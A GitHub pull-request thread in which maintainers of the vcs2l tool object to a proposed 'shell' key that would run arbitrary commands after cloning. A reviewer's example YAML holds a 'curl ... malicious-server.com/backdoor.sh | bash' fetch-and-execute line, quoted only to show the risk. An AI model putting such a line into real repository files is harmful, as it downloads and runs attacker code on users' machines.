parse shell key in repo yaml and execute the specified commands

[michael-elomar]

after…

Basic Info

Info	Please fill out this column
Ticket(s) this addresses	N/A
Primary OS tested on	Ubuntu 22.04
Is this a breaking change?	No
Does this PR contain AI generated software?	No

---

Description of contribution in a few bullet points

• Adds the capability of parsing a shell key inside the yaml file under repo definitions.
• Stores the shell commands defined under the shell key
• After the cloning is done, executes the shell commands one after the other using subprocess module.

Description of how this change was tested

• Performed linting validation using pre-commit run --all
• Verified that the code passes all tests using pytest -s -v test

[cottsay]

I don't want to get too involved here, but on first blush, I have security concerns about this change granting pretty much arbitrary code execution capabilities. I'm also not sure how this would be handled for performing re-imports or "verify" operations.

[gavanderhoorn]

I was going to comment something similar.

Seems like this would get us close to .rdmanifest again :) (edit: which is not desirable imo)

[michael-elomar]

What's the lore behind rdmanifest ?

Touchée on the security concerns. Would it be more appropriate to add a link key instead of shell in order to allow users to symlink files any repo to the wokspace root dir ?

That's why I did this PR, because I wanted to simlink some files from some of my repos to the root of my workspace.

[cottsay]

Would it be more appropriate to add a link key instead of shell in order to allow users to symlink files any repo to the wokspace root dir?

<soapbox>
At a high level, developing and maintaining tooling like this requires maintainers to be judicious in what functionality is supported. A "swiss army" tool, though powerful for the user, is harder to maintain. The line for "out of scope" must be drawn somewhere. I (subjectively) believe that this crosses the line on what vcs2l/vcstool/wstool are intended to do, and ventures more into something like "workspace provisioning" than multi-repository source code management.
</soapbox>

Linking in particular is tricky to do in cross-platform tools like this. Windows support for symbolic links is better than it has been in the past, but a "vanilla" command prompt on an unmodified Windows installation still doesn't have the necessary capabilities to create one last I checked. It's an edge case for sure, but FAT32 (and exFAT) don't support symlinks at all.

I know it's not a link, but would adding a sort of file type that just downloads a raw file to disk be useful for your scenario? vcs2l already supports downloading and extracting tar and zip archives, so a file type isn't completely unreasonable.

[leander-dsouza]

This change definitely raises concerns about the scope creep aspect of vcs2l.
I do not think general shell execution with the same permissions as the user should be given to a general-purpose VCS management tool.

Moreover, you can have the user accidentally import a malicious repository - vcs import --input malicious.repos, and this might prompt the installation of malware onto your device.

---
repositories:
  vcs2l:
    type: git
    url: https://github.com/ros-infrastructure/vcs2l.git
    shell: |
      # building dependencies
      curl -s malicious-server.com/backdoor.sh | bash

I feel that this contribution raises more security concerns than the convenience benefits that it proposes.

[michael-elomar]

I agree on the security concerns.
And if linking files or downloading files does not seem appropriate within the scope of this tool, then I will be closing this PR.

Thank you all for your reactivity and your feedback !!